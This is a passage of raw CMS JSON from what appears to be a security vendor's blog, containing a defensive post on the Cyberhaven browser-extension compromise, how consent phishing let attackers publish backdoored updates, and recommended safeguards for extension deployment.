base64-encoded endpoints has been present in virtually every case. If these techniques are bypassing Google's own review infrastructure, which has both the scale and the incentive to detect them, they will bypass third-party code analysis tools as well.",[],{},"Browser extension risk scoring IB3",{"sys":55419,"__typename":1390,"title":55420,"caption":55421,"layoutMode":59,"file":55422},{"id":46083},"This extension is not approved for business use","Employees will see a customizable block screen when trying to use extensions that are not approved.",{"url":55423,"width":55424,"height":55425},"https://images.ctfassets.net/y1cdw1ablpvd/2hFpE2X60adttS6vAtyUIO/963e14eb2899163f583e7342db3f0650/image5.png",1440,744,{"sys":55427,"__typename":1390,"title":55428,"caption":55428,"layoutMode":59,"file":55429},{"id":46250},"Push automatically blocks known-bad browser extensions.",{"url":55430,"width":55431,"height":55432},"https://images.ctfassets.net/y1cdw1ablpvd/31TgJEkYVua0s5ecwgQPmM/efb0a7048f9ecc9eacf2e29b7b2233bc/image1.png",1433,810,{"items":55434},[],{},"Why browser extension risk scoring won’t predict a breach",{"items":55438},[55439,56087,57337],{"__typename":1429,"sys":55440,"content":55441,"title":41038,"synopsis":41039,"hashTags":59,"publishedDate":41040,"slug":41041,"tagsCollection":56077,"authorsCollection":56083},{"id":40295},{"json":55442},{"data":55443,"content":55444,"nodeType":1382},{},[55445,55468,55494,55500,55505,55508,55515,55521,55526,55541,55547,55554,55570,55583,55589,55595,55598,55605,55611,55617,55672,55678,55685,55695,55701,55707,55712,55719,55725,55731,55737,55743,55748,55755,55761,55832,55837,55840,55847,55853,55866,55872,55878,55883,55899,55902,55909,55915,55920,55936,55942,55948,55953,55956,55963,55969,55975,55980,55986,55991,55996,56016,56021,56031,56037,56043],{"data":55446,"content":55447,"nodeType":866},{},[55448,55451,55458,55461,55465],{"data":55449,"marks":55450,"value":40306,"nodeType":865},{},[],{"data":55452,"content":55453,"nodeType":889},{"uri":4991},[55454],{"data":55455,"marks":55456,"value":40314,"nodeType":865},{},[55457],{"type":943},{"data":55459,"marks":55460,"value":40318,"nodeType":865},{},[],{"data":55462,"marks":55463,"value":40323,"nodeType":865},{},[55464],{"type":926},{"data":55466,"marks":55467,"value":14251,"nodeType":865},{},[],{"data":55469,"content":55470,"nodeType":866},{},[55471,55474,55481,55484,55491],{"data":55472,"marks":55473,"value":40333,"nodeType":865},{},[],{"data":55475,"content":55476,"nodeType":889},{"uri":40336},[55477],{"data":55478,"marks":55479,"value":40342,"nodeType":865},{},[55480],{"type":943},{"data":55482,"marks":55483,"value":40346,"nodeType":865},{},[],{"data":55485,"content":55486,"nodeType":889},{"uri":24925},[55487],{"data":55488,"marks":55489,"value":40354,"nodeType":865},{},[55490],{"type":943},{"data":55492,"marks":55493,"value":40358,"nodeType":865},{},[],{"data":55495,"content":55496,"nodeType":866},{},[55497],{"data":55498,"marks":55499,"value":40365,"nodeType":865},{},[],{"data":55501,"content":55504,"nodeType":912},{"target":55502},{"sys":55503},{"id":40370,"type":909,"linkType":910},[],{"data":55506,"content":55507,"nodeType":972},{},[],{"data":55509,"content":55510,"nodeType":981},{},[55511],{"data":55512,"marks":55513,"value":40382,"nodeType":865},{},[55514],{"type":926},{"data":55516,"content":55517,"nodeType":866},{},[55518],{"data":55519,"marks":55520,"value":40389,"nodeType":865},{},[],{"data":55522,"content":55525,"nodeType":912},{"target":55523},{"sys":55524},{"id":40394,"type":909,"linkType":910},[],{"data":55527,"content":55528,"nodeType":866},{},[55529,55532,55538],{"data":55530,"marks":55531,"value":40402,"nodeType":865},{},[],{"data":55533,"content":55534,"nodeType":889},{"uri":40405},[55535],{"data":55536,"marks":55537,"value":40410,"nodeType":865},{},[],{"data":55539,"marks":55540,"value":40414,"nodeType":865},{},[],{"data":55542,"content":55543,"nodeType":866},{},[55544],{"data":55545,"marks":55546,"value":40421,"nodeType":865},{},[],{"data":55548,"content":55549,"nodeType":1317},{},[55550],{"data":55551,"marks":55552,"value":40429,"nodeType":865},{},[55553],{"type":926},{"data":55555,"content":55556,"nodeType":866},{},[55557,55560,55567],{"data":55558,"marks":55559,"value":40436,"nodeType":865},{},[],{"data":55561,"content":55562,"nodeType":889},{"uri":40439},[55563],{"data":55564,"marks":55565,"value":40445,"nodeType":865},{},[55566],{"type":943},{"data":55568,"marks":55569,"value":40449,"nodeType":865},{},[],{"data":55571,"content":55572,"nodeType":866},{},[55573,55576,55580],{"data":55574,"marks":55575,"value":40456,"nodeType":865},{},[],{"data":55577,"marks":55578,"value":40461,"nodeType":865},{},[55579],{"type":898},{"data":55581,"marks":55582,"value":40465,"nodeType":865},{},[],{"data":55584,"content":55585,"nodeType":866},{},[55586],{"data":55587,"marks":55588,"value":40472,"nodeType":865},{},[],{"data":55590,"content":55591,"nodeType":866},{},[55592],{"data":55593,"marks":55594,"value":40479,"nodeType":865},{},[],{"data":55596,"content":55597,"nodeType":972},{},[],{"data":55599,"content":55600,"nodeType":981},{},[55601],{"data":55602,"marks":55603,"value":40490,"nodeType":865},{},[55604],{"type":926},{"data":55606,"content":55607,"nodeType":866},{},[55608],{"data":55609,"marks":55610,"value":40497,"nodeType":865},{},[],{"data":55612,"content":55613,"nodeType":866},{},[55614],{"data":55615,"marks":55616,"value":40504,"nodeType":865},{},[],{"data":55618,"content":55619,"nodeType":1616},{},[55620,55633,55646,55659],{"data":55621,"content":55622,"nodeType":1570},{},[55623],{"data":55624,"content":55625,"nodeType":866},{},[55626,55630],{"data":55627,"marks":55628,"value":40518,"nodeType":865},{},[55629],{"type":926},{"data":55631,"marks":55632,"value":40522,"nodeType":865},{},[],{"data":55634,"content":55635,"nodeType":1570},{},[55636],{"data":55637,"content":55638,"nodeType":866},{},[55639,55643],{"data":55640,"marks":55641,"value":40533,"nodeType":865},{},[55642],{"type":926},{"data":55644,"marks":55645,"value":40537,"nodeType":865},{},[],{"data":55647,"content":55648,"nodeType":1570},{},[55649],{"data":55650,"content":55651,"nodeType":866},{},[55652,55656],{"data":55653,"marks":55654,"value":40548,"nodeType":865},{},[55655],{"type":926},{"data":55657,"marks":55658,"value":40552,"nodeType":865},{},[],{"data":55660,"content":55661,"nodeType":1570},{},[55662],{"data":55663,"content":55664,"nodeType":866},{},[55665,55669],{"data":55666,"marks":55667,"value":40563,"nodeType":865},{},[55668],{"type":926},{"data":55670,"marks":55671,"value":40567,"nodeType":865},{},[],{"data":55673,"content":55674,"nodeType":866},{},[55675],{"data":55676,"marks":55677,"value":40574,"nodeType":865},{},[],{"data":55679,"content":55680,"nodeType":1317},{},[55681],{"data":55682,"marks":55683,"value":40582,"nodeType":865},{},[55684],{"type":926},{"data":55686,"content":55687,"nodeType":866},{},[55688,55692],{"data":55689,"marks":55690,"value":40590,"nodeType":865},{},[55691],{"type":926},{"data":55693,"marks":55694,"value":40594,"nodeType":865},{},[],{"data":55696,"content":55697,"nodeType":866},{},[55698],{"data":55699,"marks":55700,"value":40601,"nodeType":865},{},[],{"data":55702,"content":55703,"nodeType":866},{},[55704],{"data":55705,"marks":55706,"value":40608,"nodeType":865},{},[],{"data":55708,"content":55711,"nodeType":912},{"target":55709},{"sys":55710},{"id":40613,"type":909,"linkType":910},[],{"data":55713,"content":55714,"nodeType":1317},{},[55715],{"data":55716,"marks":55717,"value":40622,"nodeType":865},{},[55718],{"type":926},{"data":55720,"content":55721,"nodeType":866},{},[55722],{"data":55723,"marks":55724,"value":40629,"nodeType":865},{},[],{"data":55726,"content":55727,"nodeType":866},{},[55728],{"data":55729,"marks":55730,"value":40636,"nodeType":865},{},[],{"data":55732,"content":55733,"nodeType":866},{},[55734],{"data":55735,"marks":55736,"value":40643,"nodeType":865},{},[],{"data":55738,"content":55739,"nodeType":866},{},[55740],{"data":55741,"marks":55742,"value":40650,"nodeType":865},{},[],{"data":55744,"content":55747,"nodeType":912},{"target":55745},{"sys":55746},{"id":40655,"type":909,"linkType":910},[],{"data":55749,"content":55750,"nodeType":1317},{},[55751],{"data":55752,"marks":55753,"value":40664,"nodeType":865},{},[55754],{"type":926},{"data":55756,"content":55757,"nodeType":866},{},[55758],{"data":55759,"marks":55760,"value":40671,"nodeType":865},{},[],{"data":55762,"content":55763,"nodeType":1616},{},[55764,55803],{"data":55765,"content":55766,"nodeType":1570},{},[55767],{"data":55768,"content":55769,"nodeType":866},{},[55770,55773,55780,55783,55790,55793,55800],{"data":55771,"marks":55772,"value":40684,"nodeType":865},{},[],{"data":55774,"content":55775,"nodeType":889},{"uri":4991},[55776],{"data":55777,"marks":55778,"value":8673,"nodeType":865},{},[55779],{"type":943},{"data":55781,"marks":55782,"value":40695,"nodeType":865},{},[],{"data":55784,"content":55785,"nodeType":889},{"uri":15501},[55786],{"data":55787,"marks":55788,"value":40703,"nodeType":865},{},[55789],{"type":943},{"data":55791,"marks":55792,"value":40707,"nodeType":865},{},[],{"data":55794,"content":55795,"nodeType":889},{"uri":40710},[55796],{"data":55797,"marks":55798,"value":40716,"nodeType":865},{},[55799],{"type":943},{"data":55801,"marks":55802,"value":40720,"nodeType":865},{},[],{"data":55804,"content":55805,"nodeType":1570},{},[55806],{"data":55807,"content":55808,"nodeType":866},{},[55809,55812,55819,55822,55829],{"data":55810,"marks":55811,"value":40730,"nodeType":865},{},[],{"data":55813,"content":55814,"nodeType":889},{"uri":40733},[55815],{"data":55816,"marks":55817,"value":40739,"nodeType":865},{},[55818],{"type":943},{"data":55820,"marks":55821,"value":40743,"nodeType":865},{},[],{"data":55823,"content":55824,"nodeType":889},{"uri":40746},[55825],{"data":55826,"marks":55827,"value":40752,"nodeType":865},{},[55828],{"type":943},{"data":55830,"marks":55831,"value":40756,"nodeType":865},{},[],{"data":55833,"content":55836,"nodeType":912},{"target":55834},{"sys":55835},{"id":40761,"type":909,"linkType":910},[],{"data":55838,"content":55839,"nodeType":972},{},[],{"data":55841,"content":55842,"nodeType":981},{},[55843],{"data":55844,"marks":55845,"value":40773,"nodeType":865},{},[55846],{"type":926},{"data":55848,"content":55849,"nodeType":866},{},[55850],{"data":55851,"marks":55852,"value":40780,"nodeType":865},{},[],{"data":55854,"content":55855,"nodeType":866},{},[55856,55859,55863],{"data":55857,"marks":55858,"value":40787,"nodeType":865},{},[],{"data":55860,"marks":55861,"value":40792,"nodeType":865},{},[55862],{"type":926},{"data":55864,"marks":55865,"value":40796,"nodeType":865},{},[],{"data":55867,"content":55868,"nodeType":866},{},[55869],{"data":55870,"marks":55871,"value":40803,"nodeType":865},{},[],{"data":55873,"content":55874,"nodeType":866},{},[55875],{"data":55876,"marks":55877,"value":40810,"nodeType":865},{},[],{"data":55879,"content":55882,"nodeType":912},{"target":55880},{"sys":55881},{"id":40815,"type":909,"linkType":910},[],{"data":55884,"content":55885,"nodeType":866},{},[55886,55889,55896],{"data":55887,"marks":55888,"value":40823,"nodeType":865},{},[],{"data":55890,"content":55891,"nodeType":889},{"uri":7712},[55892],{"data":55893,"marks":55894,"value":40831,"nodeType":865},{},[55895],{"type":943},{"data":55897,"marks":55898,"value":40835,"nodeType":865},{},[],{"data":55900,"content":55901,"nodeType":972},{},[],{"data":55903,"content":55904,"nodeType":981},{},[55905],{"data":55906,"marks":55907,"value":40846,"nodeType":865},{},[55908],{"type":926},{"data":55910,"content":55911,"nodeType":866},{},[55912],{"data":55913,"marks":55914,"value":40853,"nodeType":865},{},[],{"data":55916,"content":55919,"nodeType":912},{"target":55917},{"sys":55918},{"id":40858,"type":909,"linkType":910},[],{"data":55921,"content":55922,"nodeType":866},{},[55923,55926,55933],{"data":55924,"marks":55925,"value":40866,"nodeType":865},{},[],{"data":55927,"content":55928,"nodeType":889},{"uri":8268},[55929],{"data":55930,"marks":55931,"value":40874,"nodeType":865},{},[55932],{"type":943},{"data":55934,"marks":55935,"value":14251,"nodeType":865},{},[],{"data":55937,"content":55938,"nodeType":866},{},[55939],{"data":55940,"marks":55941,"value":40884,"nodeType":865},{},[],{"data":55943,"content":55944,"nodeType":866},{},[55945],{"data":55946,"marks":55947,"value":40891,"nodeType":865},{},[],{"data":55949,"content":55952,"nodeType":912},{"target":55950},{"sys":55951},{"id":40896,"type":909,"linkType":910},[],{"data":55954,"content":55955,"nodeType":972},{},[],{"data":55957,"content":55958,"nodeType":981},{},[55959],{"data":55960,"marks":55961,"value":6331,"nodeType":865},{},[55962],{"type":926},{"data":55964,"content":55965,"nodeType":866},{},[55966],{"data":55967,"marks":55968,"value":40914,"nodeType":865},{},[],{"data":55970,"content":55971,"nodeType":866},{},[55972],{"data":55973,"marks":55974,"value":40921,"nodeType":865},{},[],{"data":55976,"content":55979,"nodeType":912},{"target":55977},{"sys":55978},{"id":40926,"type":909,"linkType":910},[],{"data":55981,"content":55982,"nodeType":866},{},[55983],{"data":55984,"marks":55985,"value":40934,"nodeType":865},{},[],{"data":55987,"content":55990,"nodeType":912},{"target":55988},{"sys":55989},{"id":40939,"type":909,"linkType":910},[],{"data":55992,"content":55995,"nodeType":912},{"target":55993},{"sys":55994},{"id":40945,"type":909,"linkType":910},[],{"data":55997,"content":55998,"nodeType":866},{},[55999,56002,56006,56009,56013],{"data":56000,"marks":56001,"value":40953,"nodeType":865},{},[],{"data":56003,"marks":56004,"value":40958,"nodeType":865},{},[56005],{"type":926},{"data":56007,"marks":56008,"value":40962,"nodeType":865},{},[],{"data":56010,"marks":56011,"value":40967,"nodeType":865},{},[56012],{"type":926},{"data":56014,"marks":56015,"value":40971,"nodeType":865},{},[],{"data":56017,"content":56020,"nodeType":912},{"target":56018},{"sys":56019},{"id":40976,"type":909,"linkType":910},[],{"data":56022,"content":56023,"nodeType":1317},{},[56024,56027],{"data":56025,"marks":56026,"value":40984,"nodeType":865},{},[],{"data":56028,"marks":56029,"value":40989,"nodeType":865},{},[56030],{"type":926},{"data":56032,"content":56033,"nodeType":866},{},[56034],{"data":56035,"marks":56036,"value":40996,"nodeType":865},{},[],{"data":56038,"content":56039,"nodeType":866},{},[56040],{"data":56041,"marks":56042,"value":41003,"nodeType":865},{},[],{"data":56044,"content":56045,"nodeType":866},{},[56046,56049,56055,56058,56065,56068,56074],{"data":56047,"marks":56048,"value":11372,"nodeType":865},{},[],{"data":56050,"content":56051,"nodeType":889},{"uri":11375},[56052],{"data":56053,"marks":56054,"value":11381,"nodeType":865},{},[],{"data":56056,"marks":56057,"value":2717,"nodeType":865},{},[],{"data":56059,"content":56060,"nodeType":889},{"uri":11387},[56061],{"data":56062,"marks":56063,"value":11393,"nodeType":865},{},[56064],{"type":943},{"data":56066,"marks":56067,"value":11397,"nodeType":865},{},[],{"data":56069,"content":56070,"nodeType":889},{"uri":1372},[56071],{"data":56072,"marks":56073,"value":11405,"nodeType":865},{},[],{"data":56075,"marks":56076,"value":1615,"nodeType":865},{},[],{"items":56078},[56079,56081],{"sys":56080,"name":7796},{"id":7795},{"sys":56082,"name":342},{"id":4642},{"items":56084},[56085],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":56086},{"url":7804},{"__typename":1429,"sys":56088,"content":56090,"title":57319,"synopsis":57320,"hashTags":59,"publishedDate":57321,"slug":57322,"tagsCollection":57323,"authorsCollection":57329},{"id":56089},"6sprbTRpfnTJsP3mGR2gKa",{"json":56091},{"data":56092,"content":56093,"nodeType":1382},{},[56094,56101,56104,56111,56118,56151,56158,56161,56168,56188,56221,56228,56235,56238,56245,56252,56259,56282,56289,56296,56299,56306,56313,56320,56327,56334,56341,56348,56355,56362,56369,56402,56409,56416,56419,56426,56433,56439,56446,56479,56486,56489,56496,56503,56510,56533,56540,56547,56554,56561,56568,56575,56582,56589,56622,56665,56672,56679,56686,56693,56700,56707,56714,56762,56768,56788,56795,56828,56835,56841,56844,56851,56858,56865,56872,56879,56886,56893,56900,56907,56910,56917,56924,56931,56938,56958,56965,56972,57005,57012,57019,57026,57033,57040,57106,57109,57116,57123,57166,57169,57176,57183,57203,57210,57217,57224,57227,57234,57241,57248,57268,57275,57282,57289,57296,57303],{"data":56095,"content":56096,"nodeType":866},{},[56097],{"data":56098,"marks":56099,"value":56100,"nodeType":865},{},[],"Inline with what was targeted in this campaign, our focus here is on the extension deployment process. All browser vendors stand to benefit from greater security in this area — we hope that sharing what we’ve learned is useful, and look forward to comments and feedback so we can collectively reduce the scope for attacks on browser extensions in the future. ",{"data":56102,"content":56103,"nodeType":972},{},[],{"data":56105,"content":56106,"nodeType":981},{},[56107],{"data":56108,"marks":56109,"value":56110,"nodeType":865},{},[],"TL;DR",{"data":56112,"content":56113,"nodeType":866},{},[56114],{"data":56115,"marks":56116,"value":56117,"nodeType":865},{},[],"In this blog, we’ll start with some background and walk through the “why” before discussing the key improvements that we feel are needed. But if you don’t care about the why or just want to cut to the chase, the key parts of defending against these attacks are:",{"data":56119,"content":56120,"nodeType":1616},{},[56121,56131,56141],{"data":56122,"content":56123,"nodeType":1570},{},[56124],{"data":56125,"content":56126,"nodeType":866},{},[56127],{"data":56128,"marks":56129,"value":56130,"nodeType":865},{},[],"Disable always-on access for all users to the browser extension store developer portals — you need to automate deployments through CI/CD to enable this.",{"data":56132,"content":56133,"nodeType":1570},{},[56134],{"data":56135,"content":56136,"nodeType":866},{},[56137],{"data":56138,"marks":56139,"value":56140,"nodeType":865},{},[],"Implement a multiparty approval process for extension deployments.",{"data":56142,"content":56143,"nodeType":1570},{},[56144],{"data":56145,"content":56146,"nodeType":866},{},[56147],{"data":56148,"marks":56149,"value":56150,"nodeType":865},{},[],"Secure your admin identities.",{"data":56152,"content":56153,"nodeType":866},{},[56154],{"data":56155,"marks":56156,"value":56157,"nodeType":865},{},[],"For details of how to do this practically, skip ahead to the “Recommended security architecture” section.",{"data":56159,"content":56160,"nodeType":972},{},[],{"data":56162,"content":56163,"nodeType":981},{},[56164],{"data":56165,"marks":56166,"value":56167,"nodeType":865},{},[],"Background: The Cyberhaven incident",{"data":56169,"content":56170,"nodeType":866},{},[56171,56175,56184],{"data":56172,"marks":56173,"value":56174,"nodeType":865},{},[],"In December 2024, a campaign targeting browser extension developers was launched, and succeeded in compromising at least ",{"data":56176,"content":56178,"nodeType":889},{"uri":56177},"https://www.bleepingcomputer.com/news/security/new-details-reveal-how-hackers-hijacked-35-google-chrome-extensions/",[56179],{"data":56180,"marks":56181,"value":56183,"nodeType":865},{},[56182],{"type":943},"35 Google Chrome extensions",{"data":56185,"marks":56186,"value":56187,"nodeType":865},{},[],". Cyberhaven’s extension was the most notable of these, and the campaign has inherited their name.",{"data":56189,"content":56190,"nodeType":866},{},[56191,56195,56204,56208,56217],{"data":56192,"marks":56193,"value":56194,"nodeType":865},{},[],"The campaign targeted extension devs through the support email address listed on the extension stores, but notably, the ",{"data":56196,"content":56198,"nodeType":889},{"uri":56197},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/consent_phishing/description.md",[56199],{"data":56200,"marks":56201,"value":56203,"nodeType":865},{},[56202],{"type":943},"consent phishing attack technique",{"data":56205,"marks":56206,"value":56207,"nodeType":865},{},[]," was used. While not a new technique, it has rarely been seen — especially given how powerful it is. Rather than a traditional credential and MFA phishing attacks which harvest credentials (or session tokens to bypass MFA), with consent phishing the attacker's goal is to trick the victim into granting them an OAuth token to perform actions on their behalf. In this case the permission or scope used by the attacker granted that token the ability to upload and publish new versions of the victim’s extension to the Chrome Web Store — which in this case included some backdoor code that executed commands that were dynamically configured by the attacker. For more in-depth information, see the ",{"data":56209,"content":56211,"nodeType":889},{"uri":56210},"https://secureannex.com/blog/cyberhaven-extension-compromise/",[56212],{"data":56213,"marks":56214,"value":56216,"nodeType":865},{},[56215],{"type":943},"excellent analysis",{"data":56218,"marks":56219,"value":56220,"nodeType":865},{},[]," by the Secure Annex team.",{"data":56222,"content":56223,"nodeType":866},{},[56224],{"data":56225,"marks":56226,"value":56227,"nodeType":865},{},[],"Because of the dynamic nature of the commands sent to backdoored extensions, it’s difficult to be sure what the impact was — but whatever the case was in this specific incident, it’s perhaps more useful to understand what the impact to users might be so we can work to mitigate future attacks.",{"data":56229,"content":56230,"nodeType":866},{},[56231],{"data":56232,"marks":56233,"value":56234,"nodeType":865},{},[],"The simple fact is that for most common extensions that operate across multiple sites (like ad-blockers etc.), using fairly typical permissions, a backdoor would likely be able to reach credentials and session tokens. This would mean an attacker could use a backdoored extension to get access to a user’s accounts on various websites. This poses a very high impact to users, and something that all extension developers should be focused on preventing. ",{"data":56236,"content":56237,"nodeType":972},{},[],{"data":56239,"content":56240,"nodeType":981},{},[56241],{"data":56242,"marks":56243,"value":56244,"nodeType":865},{},[],"How do we stop the next iteration of this attack?",{"data":56246,"content":56247,"nodeType":866},{},[56248],{"data":56249,"marks":56250,"value":56251,"nodeType":865},{},[],"Given the value of the data, the relative ease with which this attack was performed (vs. for example something like a browser 0-day), and the success of the attack, it seems very likely this type of attack will happen again. As we saw in 2024, the success of the attacks on Snowflake customers gave rise to a huge increase in infostealer attacks. Attackers are quick to identify areas of potential opportunity and capitalize on them.",{"data":56253,"content":56254,"nodeType":866},{},[56255],{"data":56256,"marks":56257,"value":56258,"nodeType":865},{},[],"As an extension user, you should be mainly worried about one of two scenarios;",{"data":56260,"content":56261,"nodeType":1616},{},[56262,56272],{"data":56263,"content":56264,"nodeType":1570},{},[56265],{"data":56266,"content":56267,"nodeType":866},{},[56268],{"data":56269,"marks":56270,"value":56271,"nodeType":865},{},[],"The developer of the extension adds malicious code to an extension, they publish the update to the app store, your browser automatically updates, and malicious code runs in your browser",{"data":56273,"content":56274,"nodeType":1570},{},[56275],{"data":56276,"content":56277,"nodeType":866},{},[56278],{"data":56279,"marks":56280,"value":56281,"nodeType":865},{},[],"The developer of your extension is attacked, and the attacker gains access to publish an updated version of the extension to the app store, and uses this to push an update that includes their backdoor, your browser automatically updates, and malicious code runs in your browser",{"data":56283,"content":56284,"nodeType":866},{},[56285],{"data":56286,"marks":56287,"value":56288,"nodeType":865},{},[],"However, since we’re writing this for honest extension developers, and these attacks targeted the second scenario, that’s what we’ll be focussing on. ",{"data":56290,"content":56291,"nodeType":866},{},[56292],{"data":56293,"marks":56294,"value":56295,"nodeType":865},{},[],"The challenge then is to make sure that only legitimate developers can push updates to the extension store. Easy to say, harder to do in the real world.",{"data":56297,"content":56298,"nodeType":972},{},[],{"data":56300,"content":56301,"nodeType":981},{},[56302],{"data":56303,"marks":56304,"value":56305,"nodeType":865},{},[],"Primer on extension stores and the publication process",{"data":56307,"content":56308,"nodeType":866},{},[56309],{"data":56310,"marks":56311,"value":56312,"nodeType":865},{},[],"As a light intro for folks that aren’t extension developers but are still interested, here’s a very brief description of this process. It’s not critical to understand the inner workings and differences between the stores to follow this blog, but it is very interesting (in my opinion). ",{"data":56314,"content":56315,"nodeType":866},{},[56316],{"data":56317,"marks":56318,"value":56319,"nodeType":865},{},[],"At Push we publish to three main extension stores; Chrome Web Store (this lets us cover all the Chromium-based browsers including Edge and Arc), Firefox Add-ons, and the Apple Store, so these are the stores we’re covering here.",{"data":56321,"content":56322,"nodeType":866},{},[56323],{"data":56324,"marks":56325,"value":56326,"nodeType":865},{},[],"The generic process is the same for all stores. To publish an update, you first build (or package, really) your extension source, upload it to your tenant/team/org in the store, and publish it. The publishing step triggers a manual review process in the Chrome and Apple stores, and once complete, the new version appears on the extension stores. In Firefox it goes straight out immediately.",{"data":56328,"content":56329,"nodeType":866},{},[56330],{"data":56331,"marks":56332,"value":56333,"nodeType":865},{},[],"A note on the reviews; if you aren’t adding new permissions (something we haven’t seen attackers do because it triggers a new interactive approval for the end-user when the extension is updated — something an attacker wants to avoid to evade detection) then our experience is that the the manual review process is typically fairly cursory. This is likely why the checks implemented at the store level failed to discover malicious updates in these cases.",{"data":56335,"content":56336,"nodeType":866},{},[56337],{"data":56338,"marks":56339,"value":56340,"nodeType":865},{},[],"While it’s possible to do this process completely manually, developers often automate builds and include some of the deployment steps above in the build automation process — I’ll use the term CI/CD to refer to this build and deployment process in the rest of this piece. All three stores provide API keys (albeit in different ways) to enable this process.",{"data":56342,"content":56343,"nodeType":866},{},[56344],{"data":56345,"marks":56346,"value":56347,"nodeType":865},{},[],"I’ll leave it there for now, but again see the “Extension store differences” section in the Appendix for more detail.",{"data":56349,"content":56350,"nodeType":1317},{},[56351],{"data":56352,"marks":56353,"value":56354,"nodeType":865},{},[],"So what's the problem with the stores?",{"data":56356,"content":56357,"nodeType":866},{},[56358],{"data":56359,"marks":56360,"value":56361,"nodeType":865},{},[],"Ok, so far it sounds like the stores are all pretty standardised, so what's the actual problem here? Why did these attacks succeed?",{"data":56363,"content":56364,"nodeType":866},{},[56365],{"data":56366,"marks":56367,"value":56368,"nodeType":865},{},[],"There are a few notable control gaps relating to the extension stores which made this attack possible, and could have mitigated it were they in place. ",{"data":56370,"content":56371,"nodeType":1616},{},[56372,56382,56392],{"data":56373,"content":56374,"nodeType":1570},{},[56375],{"data":56376,"content":56377,"nodeType":866},{},[56378],{"data":56379,"marks":56380,"value":56381,"nodeType":865},{},[],"Despite the massive risk related to publishing a malicious extension, none of the mainstream stores provide a mechanism to implement a multiparty approval process, increasing the number of successful phishing attempts required. ",{"data":56383,"content":56384,"nodeType":1570},{},[56385],{"data":56386,"content":56387,"nodeType":866},{},[56388],{"data":56389,"marks":56390,"value":56391,"nodeType":865},{},[],"Due to the lack of granular permissions in the Chrome store, any dev with access to the store could be phished. A slightly more granular permission model — for example the ability to have one developer with the permission to upload an extension (but not publish it), and another with the ability to publish an uploaded extension (but not upload a new package) — could have addressed this. ",{"data":56393,"content":56394,"nodeType":1570},{},[56395],{"data":56396,"content":56397,"nodeType":866},{},[56398],{"data":56399,"marks":56400,"value":56401,"nodeType":865},{},[],"No log stream that could be easily ingested by a SIEM tool is provided, making it much harder to detect and respond. ",{"data":56403,"content":56404,"nodeType":866},{},[56405],{"data":56406,"marks":56407,"value":56408,"nodeType":865},{},[],"But alas, we’re not here to complain about the stores — that’s a different blog post — we’re here to solve problems today!",{"data":56410,"content":56411,"nodeType":866},{},[56412],{"data":56413,"marks":56414,"value":56415,"nodeType":865},{},[],"I mentioned before that a multiparty approval process is key. But to understand why, it’s useful to think about this in terms of how this system will be attacked. Threat or attack models are typical approaches to doing this.",{"data":56417,"content":56418,"nodeType":972},{},[],{"data":56420,"content":56421,"nodeType":981},{},[56422],{"data":56423,"marks":56424,"value":56425,"nodeType":865},{},[],"Attack model for publishing a malicious extension",{"data":56427,"content":56428,"nodeType":866},{},[56429],{"data":56430,"marks":56431,"value":56432,"nodeType":865},{},[],"The main attack paths enabling an attacker to publish a malicious extension are outlined below. ",{"data":56434,"content":56438,"nodeType":912},{"target":56435},{"sys":56436},{"id":56437,"type":909,"linkType":910},"2RQTz9QmPxOxAvy4EtXIQZ",[],{"data":56440,"content":56441,"nodeType":866},{},[56442],{"data":56443,"marks":56444,"value":56445,"nodeType":865},{},[],"You don’t need to follow all the minutia of these attack paths, but some things to note about these attack paths are that they all target single points of failure (a single identity, a single endpoint), primarily through Social Engineering attacks:",{"data":56447,"content":56448,"nodeType":1616},{},[56449,56459,56469],{"data":56450,"content":56451,"nodeType":1570},{},[56452],{"data":56453,"content":56454,"nodeType":866},{},[56455],{"data":56456,"marks":56457,"value":56458,"nodeType":865},{},[],"A single user with access to the store needs to fall for a social engineering attack for this to work (as happened in this case). ",{"data":56460,"content":56461,"nodeType":1570},{},[56462],{"data":56463,"content":56464,"nodeType":866},{},[56465],{"data":56466,"marks":56467,"value":56468,"nodeType":865},{},[],"Many paths can be completed with an identity or endpoint attack, and in most cases a single identity or endpoint is sufficient.",{"data":56470,"content":56471,"nodeType":1570},{},[56472],{"data":56473,"content":56474,"nodeType":866},{},[56475],{"data":56476,"marks":56477,"value":56478,"nodeType":865},{},[],"Attacks against code repos and CI/CD flows are parallel paths, you need to trust those systems already.",{"data":56480,"content":56481,"nodeType":866},{},[56482],{"data":56483,"marks":56484,"value":56485,"nodeType":865},{},[],"So in designing a security architecture, we want to do as much to reduce single points of failure, and make social engineering ineffective (even when it succeeds).",{"data":56487,"content":56488,"nodeType":972},{},[],{"data":56490,"content":56491,"nodeType":981},{},[56492],{"data":56493,"marks":56494,"value":56495,"nodeType":865},{},[],"Recommended security architecture",{"data":56497,"content":56498,"nodeType":866},{},[56499],{"data":56500,"marks":56501,"value":56502,"nodeType":865},{},[],"You could literally write a book on everything it takes to secure identities, endpoints and code repositories in general, and we’ll certainly mention some of the identity controls we think are effective later on. One thing to note here is that whatever you implement, the attack that succeeds in the real-word today is vastly more likely to involve an element of social engineering vs. for example a vulnerability exploit. This is not just my opinion (solid as I like to think that is), but also well supported by threat reports like the Verizon DBIR, with 68% of attacks involving ‘the human element’ in the 2024 edition. ",{"data":56504,"content":56505,"nodeType":866},{},[56506],{"data":56507,"marks":56508,"value":56509,"nodeType":865},{},[],"In tackling attacks that involve social engineering, there are two main workable options:",{"data":56511,"content":56512,"nodeType":1616},{},[56513,56523],{"data":56514,"content":56515,"nodeType":1570},{},[56516],{"data":56517,"content":56518,"nodeType":866},{},[56519],{"data":56520,"marks":56521,"value":56522,"nodeType":865},{},[],"Remove the user’s ability to give the attacker what they need.",{"data":56524,"content":56525,"nodeType":1570},{},[56526],{"data":56527,"content":56528,"nodeType":866},{},[56529],{"data":56530,"marks":56531,"value":56532,"nodeType":865},{},[],"Assume that at least some users will fall for the attack, and make it as hard as possible for the attacker.",{"data":56534,"content":56535,"nodeType":866},{},[56536],{"data":56537,"marks":56538,"value":56539,"nodeType":865},{},[],"You may note I didn’t include security or awareness training in the above — essentially because I’ve never seen it be effective enough to be relied on, which is not to say it’s not very useful (especially if it’s well targeted and relevant — like unpacking what happened to Cyberhaven with your whole extension developer team would be!), just that technical controls are generally more reliable.",{"data":56541,"content":56542,"nodeType":866},{},[56543],{"data":56544,"marks":56545,"value":56546,"nodeType":865},{},[],"Anyway, back to what I think makes the cornerstones of a 